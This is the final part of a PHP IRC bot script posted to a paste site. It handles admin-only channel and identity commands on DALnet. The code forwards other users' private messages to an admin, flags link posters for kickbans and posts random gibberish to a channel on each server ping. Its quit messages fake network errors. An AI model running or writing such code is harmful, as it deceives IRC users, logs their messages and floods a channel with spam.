  560. else { $vonick = $dNick; }
  561. fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
  562. }
  563. elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
  564. $msg = strstr($data,":`awaymsg");
  565. $msg = str_replace(":`awaymsg","",$msg);
  566. if (strlen($msg)<3) {
  567. $raway="on";
  568. fputs($fp,'AWAY : ' . 'AWAY' . CRL);
  569. } else {
  570. $raway="off";
  571. fputs($fp,'AWAY : ' . $msg . CRL);
  572. }
  573. }
  574. elseif ($com[3]==':`mode' && $com[4] && $chan) {
  575. fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
  576. }
  577. elseif ($com[3]==':`nickmode' && $com[4]) {
  578. $nickmode = $com[4];
  579. fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
  580. }
  581. elseif ($com[3]==':`chanlist') {
  582. fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
  583. }
  584. elseif ($com[3]==':`userlist') {
  585. $userlist="";
  586. foreach ($auth as $user) {
  587. if ($user["pass"]) { $pass="-pass ok"; }
  588. else { $pass="-no pass"; }
  589. $userlist .= $user["name"].'('.$user["status"].$pass.') ';
  590. }
  591. fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
  592. }
  593. elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
  594. $msg = strstr($data,":`quit");
  595. $msg = str_replace(":`quit","",$msg);
  596. if (strlen($msg)>3) {
  597. $msg = str_replace(" ","_",$msg);
  598. }
  599. $quit1 = array("ngantor","nguantuk","sama","brb","bye_all","s33_you","excess_flood","pingtimeout","hehe","bye","mandi","makan","muuah","quit","conection_reset_bay_peer","banned","part","leaving","ada_deh","call_me","wew","toronto.hub.dal.net_brodway.dal.net","no_komen","restart");
  600. $quitmsg = $quit1[rand(0,count($quit1) - 1)];
  601. fputs($fp, 'QUIT ' . $quitmsg . CRL);
  602. $keluar = 1;
  603. exit;
  604. }
  605. elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
  606. if ($com[4]) { $localhost = $com[4]; }
  607. else { $localhost = 'localhost'; }
  608. $keluar = 0;
  609. fputs($fp, 'QUIT ' . CRL);
  610. }
  611. elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
  612. if (!eregi(".dal.net",$com[4])) {
  613. $remotehost = "irc.dal.net";
  614. } else { $remotehost = $com[4]; }
  615. $keluar = 0;
  616. fputs($fp, 'QUIT changging_server' . CRL);
  617. }
  618. elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
  619. if (!$com[4]) {
  620. $username = $username;
  621. } else { $username = $com[4]; }
  622. $keluar = 0;
  623. fputs($fp, 'QUIT ganti_ident' . CRL);
  624. }
  625. elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
  626. if (!$com[4]) {
  627. $realname = "--";
  628. } else { $realname = $com[4]; }
  629. $keluar = 0;
  630. fputs($fp, 'QUIT ganti_fullname' . CRL);
  631. }
  632. elseif ($com[3]==':`topic' && $com[4] && $chan) {
  633. $msg = strstr($data,":`topic");
  634. $msg = str_replace(":`topic ","",$msg);
  635. fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
  636. }
  637. elseif ($com[3]==':!help' && !$chan) {
  638. fputs($fp,'PRIVMSG '.$dNick.' :Secret Help' . CRL);
  639. }
  640. } else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
  641. }
  642. }
  643. elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
  644. if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
  645. if (!ereg("#",$dCommand)) {
  646. if ($log=="on") {
  647. fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
  648. }
  649. $inv = strstr($dFrom,'@');
  650. foreach ($auth as $user) {
  651. if ($user["status"]=="user") {
  652. fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
  653. }
  654. }
  655. }
  656. }
  657. elseif (!ereg("#",$dCommand)) {
  658. if ($log=="on") {
  659. fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
  660. }
  661. }
  662. }
  663. }
  664. }
  665. elseif (substr($data,0,4) == 'PING') {
  666. fputs($fp,'PONG ' . substr($data,5) . CRL);
  667. $smile = $querym[rand(0,count($querym) - 1)];
  668. $kata1 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  669. $kata2 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
  670. fputs($fp,'PRIVMSG #whatz :' . $kata1 . ' ' . $kata2 . $smile . CRL);
  671. }
  672. }
  673. }
  674. fclose ($fp);
  675. } while ($keluar==0);
  676. }
  677. working($nick);
  678. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement